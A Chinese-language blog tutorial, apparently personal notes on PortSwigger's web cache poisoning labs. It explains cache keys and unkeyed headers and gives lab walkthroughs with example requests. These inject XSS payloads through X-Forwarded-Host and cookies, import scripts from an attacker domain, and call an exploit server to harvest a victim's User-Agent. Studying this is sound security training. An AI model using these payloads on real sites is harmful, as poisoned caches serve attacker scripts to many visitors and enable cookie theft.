侧边栏壁纸
博主头像
咿呀咿呀

你的脚步太乱,所以行程有限

  • 累计撰写 29 篇文章
  • 累计创建 4 个标签
  • 累计收到 2 条评论
标签搜索

网页缓存中毒

咿呀咿呀
2022-04-16 / 0 评论 / 0 点赞 / 352 阅读 / 7,168 字
温馨提示:
本文最后更新于 2022-04-16,若内容或图片失效,请留言反馈。部分素材来自网络,若不小心影响到您的利益,请联系我们删除。

所有内容,来自burpsuite官方靶场(portswigger)

网页缓存中毒

什么是网页缓存中毒

​ Web 缓存中毒是一种高级技术,攻击者可以利用该技术利用 Web 服务器和缓存的行为向其他用户提供有害的 HTTP 响应。

​ 从根本上说,Web 缓存中毒涉及两个阶段。首先,攻击者必须弄清楚如何从后端服务器中引出一个不经意间包含某种危险负载的响应。一旦成功,他们需要确保他们的响应被缓存并随后提供给预期的受害者。

​ 中毒的 Web 缓存可能是分发多种不同攻击、利用XSS、JavaScript 注入、开放重定向等漏洞的破坏性手段。

网页缓存中毒的研究

​ 这项技术首先在 2018 年的研究论文“Practical Web Cache Poisoning”中普及,并在 2020 年通过第二篇研究论文“Web Cache Entanglement: Novel Pathways to Poisoning”得到进一步发展。

#使用的Web缓存中毒
https://portswigger.net/research/practical-web-cache-poisoning
#Web缓存纠缠:中毒的新途径
https://portswigger.net/research/web-cache-entanglement

网页缓存如何工作

​ 要了解 Web 缓存中毒漏洞是如何出现的,重要的是要对 Web 缓存的工作原理有一个基本的了解。

​ 如果服务器必须分别向每个 HTTP 请求发送新响应,这可能会使服务器过载,从而导致延迟问题和糟糕的用户体验,尤其是在繁忙时段。缓存主要是减少此类问题的一种手段。

​ 缓存位于服务器和用户之间,它通常在固定的时间内保存(缓存)对特定请求的响应。如果另一个用户随后发送了一个等效的请求,缓存会直接向用户提供缓存响应的副本,而无需来自后端的任何交互。通过减少它必须处理的重复请求的数量,这大大减轻了服务器的负载。

image-20211027101253249

Cache keys

​ 当缓存收到 HTTP 请求时,它首先要确定是否有缓存的响应可以直接提供服务,或者是否必须将请求转发给后端服务器处理。缓存通过比较请求组件的预定义子集(统称为“缓存键”)来识别等效请求。通常,这将包含请求行和Host标头。未包含在缓存键中的请求组件称为“未键控”。

​ 如果传入请求的缓存键与前一个请求的键匹配,则缓存认为它们是等效的。因此,它将提供为原始请求生成的缓存响应的副本。这适用于具有匹配缓存键的所有后续请求,直到缓存的响应过期。

​ 至关重要的是,请求的其他组件会被缓存完全忽略。稍后将更详细地探讨这种行为的影响

Web缓存中毒攻击的影响是什么

Web缓存中毒的影响在很大程度上取决于两个关键因素:

  • 攻击者究竟能成功获得什么缓存
    由于中毒缓存更多是一种分发手段而不是独立攻击,因此 Web 缓存中毒的影响与注入的有效负载的危害程度密不可分。与大多数类型的攻击一样,Web 缓存中毒也可以与其他攻击结合使用,以进一步扩大潜在影响。
  • 受影响页面上的流量
    当缓存中毒时,中毒响应只会提供给访问受影响页面的用户。因此,根据页面是否受欢迎,影响可能从不存在到巨大。例如,如果攻击者设法使主要网站主页上的缓存响应中毒,则攻击可能会影响数千名用户,而无需攻击者进行任何后续交互。

请注意,缓存条目的持续时间不一定会影响 Web 缓存中毒的影响。攻击通常可以以这样一种方式编写,即它无限期地重新毒害缓存。

构建网络缓存中毒攻击

一般来说、构建一个基本的Web缓存中毒攻击包括以下几个步骤:

  • 1.识别和评估未加密的输入
  • 2.从后端服务器引出有害响应
  • 3.获取缓存的响应
识别和评估未加密的输入

​ 任何 Web 缓存中毒攻击都依赖于对未加密输入(例如标头)的操作。在决定是否向用户提供缓存响应时,Web 缓存会忽略无键输入。这种行为意味着可以使用它们来注入有效负载并引发“中毒”响应,如果缓存该响应,将向其请求具有匹配缓存键的所有用户提供服务。因此,构建 Web 缓存中毒攻击的第一步是识别服务器支持的未加密输入。

​ 可以通过向请求添加随机输入并观察它们是否对响应产生影响来手动识别未加密的输入。这可能很明显,例如直接反映响应中的输入,或触发完全不同的响应。然而,有时效果更微妙,需要一些侦探工作才能弄清楚。可以使用 Burp Comparer 等工具来比较有和没有注入输入的响应,但这仍然需要大量的手动工作

参数矿工

​ 幸运的是,可以通过将Param Miner扩展从 BApp 商店添加到 Burp来自动化识别未加密输入的过程。要使用 Param Miner,只需右键单击要调查的请求,然后单击“Guess headers”。Param Miner 然后在后台运行,从其广泛的内置标头列表发送包含不同输入的请求。如果包含其注入输入之一的请求对响应有影响,Param Miner 将其记录在 Burp 中,如果使用的是Burp Suite Professional,则在“问题”窗格中,或在扩展程序的“输出”选项卡中(“扩展器”>“扩展”>“参数矿工”>“输出”

例如,在下面的屏幕截图中,Param MinerX-Forwarded-Host在网站主页上发现了一个未加密的标题:

**注意:**在实时网站上测试无键输入时,存在无意中导致缓存将生成的响应提供给真实用户的风险。因此,重要的是要确保请求都具有唯一的缓存键,以便它们只会提供给自己。为此,可以在每次发出请求时手动向请求行添加缓存破坏者(例如唯一参数)。或者,如果使用的是 Param Miner,则可以选择为每个请求自动添加缓存破坏器。

从后端服务器引出有害响应

​ 一旦确定了未加密的输入,下一步就是准确评估网站如何处理它。了解这一点对于成功引发有害反应至关重要。如果输入反映在来自服务器的响应中而没有经过适当的清理,或者用于动态生成其他数据,那么这就是 Web 缓存中毒的潜在入口点。

获取缓存的响应

​ 操纵输入以引起有害响应是成功的一半,但除非可以使响应被缓存,否则它不会取得太大成果,这有时会很棘手。

​ 响应是否被缓存取决于各种因素,例如文件扩展名、内容类型、路由、状态代码和响应标头。可能需要花一些时间来简单地处理不同页面上的请求并研究缓存的行为。一旦弄清楚如何缓存包含恶意输入的响应,就可以准备向潜在受害者提供漏洞利用。

image-20211027102829056

利用网络缓存中毒漏洞

​ 这个基本过程可用于发现和利用各种不同的 Web 缓存中毒漏洞。在某些情况下,由于缓存设计中的一般缺陷,会出现 Web 缓存中毒漏洞。其他时候,特定网站实现缓存的方式可能会引入可被利用的意外怪癖。

在以下部分中,将概述这两种情况的一些最常见示例。并且还提供了许多交互式实验室,以便可以查看其中一些漏洞的实际应用并练习利用它们。

利用缓存设计缺陷

​ 如果网站以不安全的方式处理未加密的输入并允许缓存后续的 HTTP 响应,则网站很容易受到网络缓存中毒的影响。该漏洞可作为多种不同攻击的传递方式。

使用Web缓存中毒进行XSS攻击

​ 或许最容易利用的 Web 缓存中毒漏洞是未加密的输入在没有适当清理的情况下反映在可缓存的响应中。

例如,考虑以下请求和响应:

GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: innocent-website.co.uk

HTTP/1.1 200 OK
Cache-Control: public
<meta property="og:image" content="https://innocent-website.co.uk/cms/social.png" />

此处,X-Forwarded-Host标头的值用于动态生成 Open Graph 图像 URL,然后反映在响应中。对于 Web 缓存中毒而言,至关重要的是,X-Forwarded-Host标头通常是未加密的。在此示例中,缓存可能会因包含简单 XSS 负载的响应而中毒:

GET /en?region=uk HTTP/1.1
Host: innocent-website.comX-Forwarded-Host: a."><script>alert(1)</script>"

HTTP/1.1 200 OK
Cache-Control: public
<meta property="og:image" content="https://a."><script>alert(1)</script>"/cms/social.png" />

如果这个响应被缓存,所有访问的用户都/en?region=uk将得到这个 XSS 负载。这个例子只是导致在受害者的浏览器中出现警报,但真正的攻击可能会窃取密码和劫持用户帐户。

使用Web缓存中毒来利用资源导入的不安全处理

​ 一些网站使用无键标头来动态生成用于导入资源的 URL,例如外部托管的 JavaScript 文件。在这种情况下,如果攻击者将适当标头的值更改为他们控制的域,他们可能会操纵 URL 以指向他们自己的恶意 JavaScript 文件。

​ 如果包含此恶意 URL 的响应被缓存,攻击者的 JavaScript 文件将被导入并在其请求具有匹配缓存键的任何用户的浏览器会话中执行。

GET / HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: evil-user.net
User-Agent: Mozilla/5.0 Firefox/57.0

HTTP/1.1 200 OK
<script src="https://evil-user.net/static/analytics.js"></script>
LAB:带有未加密标头的Web缓存中毒

主页GET请求重放、添加缓存破坏球参数参数,例如?cb=1234

添加X-Forwarded-Host具有任意主机名的标头,然后发送请求

注意:X-Forwarded-Host标头已被用于动态生成的绝对URL导入存储在/resources/js/tracking.js (?)

重放修改后的GET请求

image-20211027140627374

响应中含有X-Cache:hit ,这告诉我们响应来自缓存

image-20211027141950303

payload:X-Forwarded-Host: baidu.com"></script><script>alert(document.cookie)</script>

image-20211027141724683

使用Web缓存中毒来利用cookie处理漏洞

​ Cookies 通常用于在响应中动态生成内容。一个常见的例子可能是一个 cookie,它指示用户的首选语言,然后用于加载相应版本的页面:

GET /blog/post.php?mobile=1 HTTP/1.1
Host: innocent-website.com
User-Agent: Mozilla/5.0 Firefox/57.0
Cookie: language=pl;
Connection: close

​ 在此示例中,请求的是博文的波兰语版本。请注意,有关要提供的语言版本的信息仅包含在Cookie标题中。假设缓存键包含请求行和Host标题,但不包含Cookie标题。在这种情况下,如果对此请求的响应被缓存,那么所有尝试访问此博客文章的后续用户也将收到波兰语版本,无论他们实际选择哪种语言。

​ 使用 Web 缓存中毒技术也可以利用缓存对 cookie 的这种有缺陷的处理。然而,在实践中,与基于标头的缓存中毒相比,这种向量相对较少。当存在基于 cookie 的缓存中毒漏洞时,它们往往会被快速识别和解决,因为合法用户不小心使缓存中毒。

LAB:使用未加密的cookie导致Web缓存中毒

image-20211027142908854

image-20211027142950608

cookie字段在反应响应中,将XSS payload插入到frontend中
hah"-alert(1)-"hah

image-20211027143347844

使用多个标头来利用Web缓存中毒

​ 如上所述,某些网站容易受到简单的 Web 缓存中毒攻击。然而,其他人需要更复杂的攻击,并且只有当攻击者能够制作操纵多个未加密输入的请求时才会变得脆弱。

​ 例如,假设网站需要使用 HTTPS 进行安全通信。为了强制执行此操作,如果收到使用其他协议的请求,该网站会动态生成一个重定向到自己确实使用 HTTPS 的重定向:

GET /random HTTP/1.1
Host: innocent-site.com
X-Forwarded-Proto: http

HTTP/1.1 301 moved permanentlyLocation: https://innocent-site.com/random

就其本身而言,这种行为并不一定容易受到攻击。但是,通过将此与我们之前了解的动态生成的 URL 中的漏洞相结合,攻击者可能会利用此行为生成可缓存的响应,将用户重定向到恶意 URL。

LAB:具有多个标头的Web缓存中毒

image-20211027145426632

调用了外部js,对页面加载的外部js进行投毒

添加一个缓存无效化查询参数和X-Forwarded-Host带有任意主机名的header、返回响应无影响

删除X-Forwarded-Host header,然后添加X-Forwarded-Scheme header。请注意,如果包含以外的任何除了HTTPS的其他值,则会收到302响应。该Location header显示你将被重定向到您请求的相同的URL,但使用https://

image-20211027145650560

对外部js进行投毒

X-Forwarded-Host: ac5c1f17xxxxxxxxxx00c.web-security-academy.net
X-Forwarded-Scheme: http://

image-20211027150202351

利用暴露过多信息的响应

​ 有时,网站会泄露过多有关自身及其行为的信息,从而使自己更容易受到 Web 缓存中毒的影响。

缓存控制指令

​ 构建 Web 缓存中毒攻击的挑战之一是确保缓存有害响应。这可能涉及大量手动试错来研究缓存的行为方式。但是,有时响应会明确揭示攻击者成功毒化缓存所需的一些信息。

一个这样的例子是当响应包含有关清除缓存的频率或当前缓存的响应有多旧的信息时:

HTTP/1.1 200 OK
Via: 1.1 varnish-v4
Age: 174
Cache-Control: public, max-age=1800

虽然这不会直接导致 Web 缓存中毒漏洞,但它确实为潜在攻击者节省了一些涉及的手动工作,因为他们确切地知道何时发送他们的有效负载以确保它被缓存。

这种知识还可以实现更微妙的攻击。攻击者可以谨慎地对单个恶意请求进行计时以毒化缓存,而不是用请求轰炸后端服务器,直到有一个可能引起怀疑的请求。

改变标题

Vary标头经常使用的基本方式也可以为攻击者提供帮助。该Vary头指定的应该被视为即使它们通常是无锁缓存键的一部分附加头的列表。它通常用于指定User-Agent标题是键控的,例如,如果网站的移动版本被缓存,则不会错误地将其提供给非移动用户。

​ 此信息还可用于构建针对特定用户子集的多步攻击。例如,如果攻击者知道User-Agent标头是缓存密钥的一部分,通过首先识别目标受害者的用户代理,他们可以定制攻击,以便只有具有该用户代理的用户受到影响。或者,他们可以找出最常用于访问站点的用户代理,并定制攻击以影响最大数量的用户。

LAB:使用未知标头的有针对性的Web缓存中毒

启用Param Miner扩展 ,选择目标根目录右键单击请求并选择“Guess headers“

image-20220415092933278

image-20220415093514329

转到漏洞利用服务器

image-20220415093839845

回到X-Host上

image-20220415094018185

上图可见返回包中还有一个键值对:Vary: User-Agent
Vary用来指定User-Agent是缓存键的一部分,要针对受害者,这需要找出受害者的User-Agent

利用xss触发

<img src="https://your-exploit-server-id.web-security-academy.net/foo" />

image-20220415094322456

漏洞利用服务器日志

image-20220415095312272

image-20220415095531027

使用 Web 缓存中毒来利用基于 DOM 的漏洞

​ 如前所述,如果网站不安全地使用未加密的标头导入文件,则攻击者可能会利用这一点来导入恶意文件。但是,这不仅仅适用于 JavaScript 文件。

许多网站使用 JavaScript 从后端获取和处理附加数据。如果脚本以不安全的方式处理来自服务器的数据,这可能会导致各种基于 DOM 的漏洞。

例如,攻击者可以通过导入包含以下有效负载的 JSON 文件的响应来毒害缓存:

{"someProperty" : "<svg onload=alert(1)>"}

如果网站随后将此属性的值传递给支持动态代码执行的接收器,则有效负载将在受害者浏览器会话的上下文中执行。

如果您使用 Web 缓存中毒使网站从您的服务器加载恶意 JSON 数据,您可能需要使用CORS 授予网站对 JSON 的访问权限:

HTTP/1.1 200 OK 
Content-Type: application/json 
Access-Control-Allow-Origin: * {    
	"malicious json" : "malicious json" 
}
Web 缓存中毒通过具有严格可缓存性标准的缓存来利用 DOM 漏洞

image-20220415111159832

image-20220415111711159

漏洞利用服务器

image-20220415111922362

image-20220415141510225

再次访问主页,应该会弹窗,但是这里未弹窗 ┭┮﹏┭┮

链接网络缓存中毒漏洞

​ 正如我们之前看到的,有时攻击者只能通过使用多个标头制作请求来引发恶意响应。但不同类型的攻击也是如此。Web 缓存中毒有时需要攻击者将我们讨论过的几种技术链接在一起。通过将不同的漏洞链接在一起,通常可以暴露最初无法利用的额外漏洞层。

–未完待续–

0

评论区